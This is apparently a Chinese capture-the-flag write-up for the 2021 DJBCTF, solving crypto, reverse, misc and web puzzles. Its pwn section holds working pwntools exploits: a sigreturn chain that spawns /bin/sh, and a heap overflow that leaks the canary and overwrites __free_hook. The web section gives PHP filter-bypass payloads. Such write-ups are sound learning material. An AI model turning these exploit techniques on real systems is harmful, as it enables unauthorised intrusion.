实在是很忙,忙着赶项目,没来得及参加这个比赛,只能抽空做一下,断断续续做,然后写好wp又因为太忙忘记发出来。。。。
这次比赛的题挺不错的,难度适中(狸题除外,真的狸谱,有时间研究一下阿狸师傅的题,题目很新颖),部分题目后期再补上
在此感谢出题的各位大师傅!!!

Crypto

easysignin

from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from random import getrandbits
from secret import flag

def genpq(k):
    while True:
        p = getPrime((k + 3) // 4)
        q = getPrime((k + 3) // 4)
        if ((p ** 2) * (q ** 2)).bit_length() == k:
            return (p, q)

def genseq(t, k):
	x = getrandbits(k)
	y = getrandbits(k)
	r = []
	r += [pow(x * getrandbits(k)+y, pow(getrandbits(k), t - 1, t), t)]
	for i in range(len(flag)):
		r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)]
	return r

(p, q) = genpq(2021)
e = getPrime(0x0123)
r = [genseq(p, p.bit_length() // 4), genseq(q, q.bit_length() // 4), genseq(e, e.bit_length() // 4)]
c = pow(bytes_to_long(flag), e, 2021 * p * q)

out = open('output.txt','w')
out.write(str(r) + "\n")
out.write(str(c) + "\n")
out.close()

程序自定义写了getpq函数,然后弄了一大堆东西,最后就是rsa加密,genseq函数中的t为素数,直接费马小定理化简为1,后面三次调用这个函数,r和p,q,e均存在关系,LCG攻击

因为之前研究过La大佬的LCG攻击,用脚本即可解出p,q,e

from functools import reduce
from math import gcd
from gmpy2 import *
from Crypto.Util.number import *

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus
    return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)

rp = []
rq = []
re = []
xp, yp, p = crack_unknown_modulus(rp)
xq, yq, q = crack_unknown_modulus(rq)
xe, ye, e = crack_unknown_modulus(re)
print(p)
print(q)
print(e)
d = invert(e,(p-1)*(q-1))
m = pow(c,d,p*q)
print(long_to_bytes(m))

luckybase

不会,待研究~~

大佬们帮我看看我这个Python脚本为什么运行不了啊

fROM CRYPTO.utIL.NuMBER IMPORT BYteS_TO_LoNG, long_TO_BYTES

A_Fake_FLaG = B'FLag{I_AM_the_TRUE_Flag_trUST_me}'
nuMBER = bYTEs_tO_long(a_FAKE_FLAG)

KeY1 = B'DO yOU WAnT A DAJIBEI?'
KEY1 = Bytes_to_lONG(KEY1)

KEY2 = 0XBCD2deE7E7114B5C856F8DAECeD0782BD891200B4D8264D854A13D53cF1F0c481b
iv = 10800
KEY3 = KeY2 * IV

IS_THIS_rEAL_FlAG = (NUmber + kEY3) // KEy1
print(long_tO_bytes(IS_THis_REAl_flag))

修正大小后,运行,得到

thrEE_means_3

结果为:

英文_means_数字

flag有可能是这种结构,逐一尝试,最终试出flag

听说

不会,待研究~~

eccsimiscce

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from random import getrandbits
from secret import flag

def gen(n):
	g = []
	while len(g) < 2:
		r = getrandbits(128)
		if r < n:
			g += [r]
	return g[0], g[1]

pt = b'\x00' * 6 + long_to_bytes(int(flag,2))
assert len(pt) % 8 == 0

o = open('output','w')

n = getPrime(64) * getPrime(64)
o.write(str(n) + '\n')
a, b = gen(n)

p = []
E = EllipticCurve(IntegerModRing(n), [a, b^2])
P = E((0, b))
p += [P.xy()]
for k in range(len(pt) // 8):
	Q = bytes_to_long(pt[8 * k : 8 * k + 8]) * P
	p += [Q.xy()]
	P = Q	
o.write(str(p))

代码就是就把flag的二进制经过处理后,8个字节一组进行ECC加密,之后将得到的Q点作为下一组的P点继续加密处理,n是素数,根据在全国大学生信息安全竞赛学到的一个知识点,可以把分解为模p和模q上的两题曲线来处理,逆行解即可,解出来是01字符串,转为二维码,扫描即可获得flag(脚本忘记贴上来了。。。)

简单密码

不会,阿狸师傅的题,还是很狸谱~~

单表加密

待研究~

pwn

easyrop

先检查文件保护

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

没有开任何保护,ida分析,发现程序很短

2021 DJBCTF(大吉大利杯) wp

寄存器所有的值我们都可以控制,伪造sigframe,控制程序走向即可pwn

from pwn import *

context(arch='amd64',os='linux')
context.log_level = "debug"

pop_rax = 0x4000db
read_addr = 0x4000dc
buf_addr = 0x6000e0

#p = process('./easyrop')
p = remote('pwn.chall.ctf.show',28035)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf_addr
sigframe.rdx = 0x300
sigframe.rsp = buf_addr
sigframe.rip = read_addr


p.recvuntil('Welcome to DJB easyrop!\n')
payload = b'a'*(0x40)+p64(pop_rax)+p64(15)+str(sigframe)
p.send(payload)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr+0x120
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = read_addr

payload = p64(pop_rax)+p64(15)+str(sigframe)
payload = payload+(0x120-len(payload))*'\x00'+'/bin/sh\x00'
p.send(payload)

p.interactive()

easy_note

检查文件保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序,ida分析,申请函数关键部分如下

 v1 = malloc(0x20uLL);                         // 申请内存
  src = v1;                                     // src是结构体
  v1[2] = dest;
  *((_DWORD *)src + 2) = buf;
  *(_QWORD *)src = a1;                          // 大小也写进结构体
  *((_BYTE *)src + 24) = 0;
  dest = (char *)dest + a1;
  dword_602100 -= a1;
  memcpy(dest, src, 0x20uLL);                   // 复制到dest
  qword_602120[dword_602104] = (__int64)dest;
  dest = (char *)dest + 32;
  dword_602100 -= 32;
  free(src);                                   //释放
  v2 = dword_602104++;
  dword_602180[v2] = buf;

这里有个点,就是将src的大小也写进了去了,之后将src复制到dest,再释放src,同时注意到写函数

  int result; // eax

  if ( a1 < dword_602104 && (a1 & 0x80000000) == 0 )
    result = read(0, *(void **)(qword_602120[a1] + 16), a2);
  else
    result = puts("Chunk doesn't exist");
  return result;

这里并没有对大小(a2)进行限制,如果申请小内存,然后写入大小比较大的内容,溢出,再利用打印函数,那么可以泄露canary和libc版本

from pwn import *

context(arch='amd64',os='linux')
context.log_level = "debug"

p = remote('pwn.chall.ctf.show',28099)
#p = process('./easy_note')
elf = ELF('./easy_note')
libc = ELF('./libc-2.27.so')


def add(size):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil(':\n')
    p.sendline(str(size))

def print_(index):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil(':\n')
    p.sendline(str(index))

def write_(index,size,content):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil(':\n')
    p.sendline(str(index))
    p.recvuntil(':\n')
    p.sendline(str(size))
    p.send(content)

add(0x20)
content = 'a'*31+'A'+p64(0x50)
write_(0,0x30,content)
print_(0)
p.recvuntil('A')
p.recv(8)
canary = u64(p.recv(8))
print('Canary addr is:',hex(canary))
memcpy = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = memcpy+0x400000
free_hook = libc_base+libc.symbols['__free_hook']

one_gadget = libc_base+0x10a41c
write_(0,0x666,'B'*0x20+p64(0x666)+p64(canary)+p64(free_hook))
write_(0,0x100,p64(one_gadget))
add(0x20)
#gdb.attach(p)
p.interactive()

Reverse

A-Maze-Ln

32位程序,无壳,idA分析

找到关键函数

  memset(Dst, 0, 0x100u);
  memset(v11, 0, 0x100u);
  ((void (__cdecl *)(const char *, char))print)("Do you wanna play a game?\n", v1);
  ((void (__cdecl *)(const char *, char))print)(
    "Let's play escape game where you have to find a way out. Please enter your way:",
    v2);
  sub_401050("%s", (unsigned int)v11);          // v11为flag
  v3 = 3;
  v4 = 0;
  if ( strlen(v11) != 34 )                      // 长度34
    goto LABEL_22;
  v5 = 0;
  do
  {
    v6 = v11[v5];
    switch ( v6 )
    {
      case 'U':
        v7 = v4;
        if ( byte_404018[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        --v4;
        break;
      case 'D':
        v7 = v4;
        if ( byte_404019[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        ++v4;
        break;
      case 'L':
        v7 = v4;
        if ( byte_40401A[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        --v3;
        break;
      case 'R':
        v7 = v4;
        if ( byte_40401B[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        ++v3;
        break;
      default:
        goto LABEL_22;
    }
    ++v5;
  }
  while ( v5 < 34 );
  if ( v3 != 4 || v4 != 7 )
  {
LABEL_22:
    print("You're stuck!\n");
    return 0;
  }
  if ( sub_401090(v7, v11) == -1 )
    return 0;
  ((void (__cdecl *)(const char *, char))print)("Escaped! You see the flag\n", a1);
  v8 = 0;
  do
  {
    Sleep(0xC8u);
    print("%c", Dst[v8++]);
  }
  while ( v8 <= 0x2C );
  return 0;

很明显是迷宫问题,起点是(3,0),终点为(4,7),大小为8*8,并且数据已给出

2021 DJBCTF(大吉大利杯) wp

根据程序的判断,得出0是表示死路,1表示通路,最终推算出路径: LLDRRDLLLDRDLDDDRRULURRULURRDDDLDR

Matara Okina

下载候是apk文件,拖进jd分析,关键代码如下

public class FlagActivity extends Activity {
    byte[] ans = "@lgvjocWzihodmXov[EWO".getBytes();
    public native String Check(String str);
    static {
        System.loadLibrary("Checker");
    }
    /* access modifiers changed from: protected */
    @Override // android.app.Activity

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_flag);
        Uri data = getIntent().getData();
        TextView textView = (TextView) findViewById(R.id.result);
        String scheme = data.getScheme();
        String host = data.getHost();
        if (scheme.toLowerCase() == scheme && host.toLowerCase() == host) {
            String queryParameter = data.getQueryParameter("secret");
            if (queryParameter == null) {
                textView.setText("NO");
                return;
            }
            byte[] bytes = queryParameter.getBytes();
            int i = 0;
            while (i < (bytes.length + 1) / 2) {
                int i2 = i + 1;
                bytes[i] = (byte) (bytes[i] ^ i2);
                int length = (bytes.length - 1) - i;
                bytes[length] = (byte) (bytes[length] ^ i2);
                i = i2;
            }
            if (Arrays.equals(this.ans, bytes)) {
                textView.setText(Check(data.toString()));
            } else {
                textView.setText("NO");
            }
        } else {
            textView.setText("NO");
        }
    }
}

就是将"@lgvjocWzihodmXov[EWO",经过算法处理,python脚本处理一下

ans = "@lgvjocWzihodmXov[EWO"
i=0
flag_temp = [0]*len(ans)
while(i<(len(ans)+1)//2):
    j = i+1
    flag_temp[i]^=j
    lens = len(ans)-1-i
    flag_temp[lens] = ord(ans[lens])^j
    flag_temp[i] = ord(ans[i])^j
    i+=1

print(''.join([chr(i) for i in flag_temp]))

得到:Android_scceme_is_FUN,再根据代码,schema为跳转协议,在配置文件查看内容如下

<intent-filter>
                <data android:scheme="sh0w" android:host="p4th" android:path="/70/1nput"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.BROWSABLE"/>
            </intent-filter>
        </activity>

访问的url可知,并构造如下,即可得到flag

<a href="sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN">hjx-Ying</a>

Unrealflag

缺少环境,待更新

anniu

找到句柄,修改按钮控件属性即可

2021 DJBCTF(大吉大利杯) wp

warmup

64位程序,无壳,ida分析,关键代码如下,

 if ( byte_40A0[16 * a1 + a2] == -1 )
    return 0LL;
  for ( i = 0; i <= 15; ++i )
  {
    if ( i != a2 && byte_40A0[16 * a1 + i] == byte_40A0[16 * a1 + a2] )
      return 0LL;//行不等
  }
  for ( j = 0; j <= 15; ++j )
  {
    if ( j != a1 && byte_40A0[16 * j + a2] == byte_40A0[16 * a1 + a2] )
      return 0LL;//列不等
  }
  v4 = a1 - a1 % 4;
  v3 = a2 - a2 % 4;
  for ( k = 0; k <= 3; ++k )
  {
    for ( l = 0; l <= 3; ++l )
    {
      if ( a1 != k + v4 && a2 != l + v3 && byte_40A0[16 * (k + v4) + l + v3] == byte_40A0[16 * a1 + a2] )//每一个小块不等
        return 0LL;
    }
  }

长度为48

 if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v7) == 48 )
  {
    for ( i = 0; i <= 47; ++i )                 // 长度48
    {
      v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::at(&v7, i);
      if ( (unsigned __int8)sub_11F5(*v3) ^ 1 )
        goto LABEL_9;
    }
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, &v7);
    sub_125E((__int64)&v8);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
    if ( !((unsigned __int8)sub_14E0() ^ 1) )//满足这个判断
    {
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Accepted!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag is 'flag{' + your_input + '}'");
      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      exit(0);

挺明显的,是个数独游戏,找原始数据

2021 DJBCTF(大吉大利杯) wp

提取出来,处理数独游戏解一下,依次取值,得到

[7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]

python处理得到flag

flag = [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
for i in range(len(flag)):
    if flag[i]>9:
        flag[i] = hex(flag[i])[2:]
    else:
        flag[i] = str(flag[i])
print("flag{"+''.join([i for i in flag])+"}")

e

32位程序,ELF文件,无壳,ida分析无果,动态调试看看

准备找到输入的地方,进行跟踪,发现程序跑到这就死循环了

2021 DJBCTF(大吉大利杯) wp

改用attach调试正在执行的进程,并且一直往下跟,一定可以找到判断的地方,并且过程中发现几次字符的处理

先是B(可能前面漏了几个,确实有看到J,结合赛名DJB,前面应该还有DJ)

2021 DJBCTF(大吉大利杯) wp

然后是R

2021 DJBCTF(大吉大利杯) wp

然后是E

2021 DJBCTF(大吉大利杯) wp

这些字符很有可能进行判断的,特别关注,继续往下跟,堆栈处发现

2021 DJBCTF(大吉大利杯) wp

继续,出现

2021 DJBCTF(大吉大利杯) wp

最后有

2021 DJBCTF(大吉大利杯) wp

2021 DJBCTF(大吉大利杯) wp

最终就是个比较函数,输入的字符串和DDDJJJBBBRRREEE比较,这个就是flag

misc

十八般武艺

下载后是压缩包,发现需要密码,注释有

2021 DJBCTF(大吉大利杯) wp

jph对18个图片处理得到18个txt文件,每个都藏有数字,在最下面,拼接后为

1361439992231635258176397978587009639353044053720460556276610613346353724230575

发现都是10进制数,提示前10种兵器是10进制,转为16进制再转文本为

flag{CTFshow_10_

后8种为8进制,转为16进制,再转文本

bA_Ban_b1ng_Q1}

拼接即为flag

请问大吉杯的签到是在这里签吗

下载后是二维码,但是扫后没有什么信息,010看看,发现里面似乎还有其他图片,还发现zip标志,分解看看,得到一个2图片和压缩包

图片扫码后是说:还要往前走……是不是在这个路口转弯呢?,解压压缩包,里面也是2图片,第二张图有点东西

最终在stegsolve发现(走了好多弯路)

2021 DJBCTF(大吉大利杯) wp

猪圈密码解密即可

牛年大吉

010分析,发现里面存在其他类型的文件,直接分解

2021 DJBCTF(大吉大利杯) wp

但是压缩包存在密码,根据提示:压缩包密码在图片文件头里,刚开始一直不懂什么意思,后来尝试一下文件头: 89504E47 ,这个就是密码,解压后得到flag

简单的FM

一直都是0解,很简单??阿狸师傅可能比较喜欢裸奔。。

童话镇

下载后是一个mp4文件,分解得到一个压缩包,但是存在密码,爆破得到密码为67373,得到两个txt文件,两个文件都很大,有点像机器学习的东西,不懂。。。也是阿狸师傅的题

色图生成器

解压后是一个txt文件和一个png图片,txt文件内容为很多颜色的单词,图片的马赛克部分很奇怪,脚本处理一下,找一下规律

from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
    for y in range(50,995,5):
        color=p.getpixel((y,x))
        print(color[0],color[1],color[2])
        i+=1
        if i==10:
            break

部分结构如下图

2021 DJBCTF(大吉大利杯) wp

发现马赛克部分,82,97,114转为ascii为rar,说明马赛克部分其实是一个压缩包,并且发现是RGB中其中一个值为0,写脚本将数据全部提取出来

from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
    for y in range(50,995,5):
        color=p.getpixel((y,x))
        if color[0] ==0 or color[1]==0 or color[2]==0:
            z = (color[0]+color[1]+color[2])//2
            print(z,end=' ')
            i+=1

010处理一下

2021 DJBCTF(大吉大利杯) wp

打开这个rar文件,里面是一张图片,010分析一下,尾部发现压缩包标志,分解,得到一个压缩包,但是有密码

根据提示github搜索Cloakify,并用题提供的txt作为字典,跑一下得到密码

D3arD4La0P1e45eD4iDa1Wo

得到一个pyc文件,反编译一下

from PIL import Image
import re, hashlib, random
flag = 'flag{jiu_bu_gao_su_ni}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
    m = hashlib.md5()
    m.update(flag.encode('ascii'))
    m = m.hexdigest()
    col = []
    for i in range(0, 24, 2):
        tmp = int(m[i:i + 2], 16)
        tmp += random.randint(-5, 5)
        col += [tmp]
 
    img = Image.new('RGB', (1024, 512))
    for i in range(4):
        timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
        img.paste(timg, (i * 256, 0))
 
    img.save('C:/Users/Administrator/Desktop/setu.png')

这个脚本是对setu.png进行处理,但是引入了随机数,逆算法不行,直接暴力破解即可

import re
import hashlib

list = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
for a1 in range(48,123):
    for a2 in range(48,123):
        for a3 in range(48,123):
            for a4 in range(48,123):
                flag = 'flag{'+'D'+chr(a1)+chr(a2)+chr(a3)+chr(a4)+'}'
                if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
                    m = hashlib.md5()
                    m.update(flag.encode('ascii'))
                    m = m.hexdigest()
                    b = 0
                    for i in range(0,24,2):
                        tmp = int(list[b])
                        if int(m[i:i+2], 16) -tmp > -5 and int(m[i:i+2], 16)-tmp < 5:
                            b = b+1
                            continue
                        elif i==22:
                            print(flag,'Found the flag!')
                            break
                        else:
                            break

拼图2.0

拼图即可

碑寺六十四卦

捣鼓了一大圈,没发现什么,最后将图片反色才发现线索, stegsolve解一下最低位通道即可得到另一张图片 (放大镜放大,得到)

2021 DJBCTF(大吉大利杯) wp

对应卦图的数字为:

5,37,26,32,8,44,11,30,53,27,39,34,51,3,52,46,18,33,46,40,7,56,40

对应base64解密一下,得到flag

AA86

%@"%"@,~,%,!`_^[^_^]-;>`_^[^_^]%"!,^,:`_^[^_^]-@{-`{-?:`_[^_^]_-``-``-@@`_^[^_^]-`~-``-@$`_^[^_^]-``-``-@@`_^[^_^]-`~-``-@#`_^[^_^]-+~-/~-?;`_^[^_^]%!~-;-,;`_^[^_^]-"$-@~-@``_^[^_^]-{[-);-@:`_^[^_^]-/*,%`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]%@$-@;-?;`_^[^_^]-/~-`&,#`_^[^_^]-`~-`{,*`_^[^_^]-@@-$!`_^[^_^]-:$,[,<`_^[^_^]-!|-.),!`_^[^_^]-@{-@`-/(`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]-{!-{.,.`_^[^_^]-~/-/``_^[^_^]%""-}@$"`_^[^_^]%@@-!/,!`_^[^_^]-:*-=%`[[[[[[[[`^^^^^-%+)@@^^^!;@@++,((,.((-$+"@"+&&-,!""+,&-,!""+!&-,!""+'&-,!""++'-,!""+(&-,!""+$'-,!""+$'-,!""+@'-,!""+#'-,!""+*#-,!""+_"-,!""+_"-,!""+%'-,!""+$'-,!""+&&-,!""+-"-,!""+(#-,!""+."-,!""+*&-,!""+@'-,!""+_"-,!""+@'-,!""+%'-,!""+"&-,!""+,&-,!""+)&-,!""+#&-,!""+_"-,!""+#'-,!""+!&-,!""+#'-,!""+_"-,!""+)&-,!""+.&-,!""+$&-,!""+%&-,!""+('-,!""+."-,!""+(&-,!""+$'-,!""+-&-,!""+,&-,!""+-'-,!"(+@@,$-,!"

题目提示16位系统的文件,16位dos系统的话能运行的文件比较经典的是com文件,(这学期病毒课实验课,搭了个16位虚拟机,正好用到),保存为com文件,dos系统跑一下,得到flag

web

veryphp

代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;//我们得读到这个hint
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

首先我们得先读到hint,长度为29,并且匹配正则,比较容易

-a9<b>xxxxxxxxx>>>>abcphp@Rsx

但是shaw_root的下划线得处理为空格(+不行),绕过正则,得到hint

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

爆破得到的SecretNumber为: 21475 ,然后就到call_user_func,调用类中函数就行了,比较简单

shaw root=-a9<b>xxxxxxxxx>>>>abcphp@Rsx&ans=21475&my ans=qwq::oao

spaceman

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

传入的user_name和pass_word的下划线会被正则影响,空格绕过,得flag

有手就行

url出现file=scan,经过多次尝试,只有file=flag,才有结果,前端发现代码,base64转图片,是一个小程序

2021 DJBCTF(大吉大利杯) wp

爬楼游戏,爬547万层,就是点击547万次,直接逆向小程序,最后全局搜索flag得到flag(很有意思的一个题)

虎山行

不会,暂研究~~~

相关文章:

  • 2021-09-22
  • 2022-01-07
  • 2021-11-21
  • 2022-12-23
  • 2022-12-23
  • 2021-03-31
  • 2021-10-17
  • 2022-12-23
猜你喜欢
  • 2022-03-05
  • 2021-10-07
  • 2022-12-23
  • 2021-12-12
  • 2021-08-30
  • 2021-08-13
  • 2023-01-04
相关资源
相似解决方案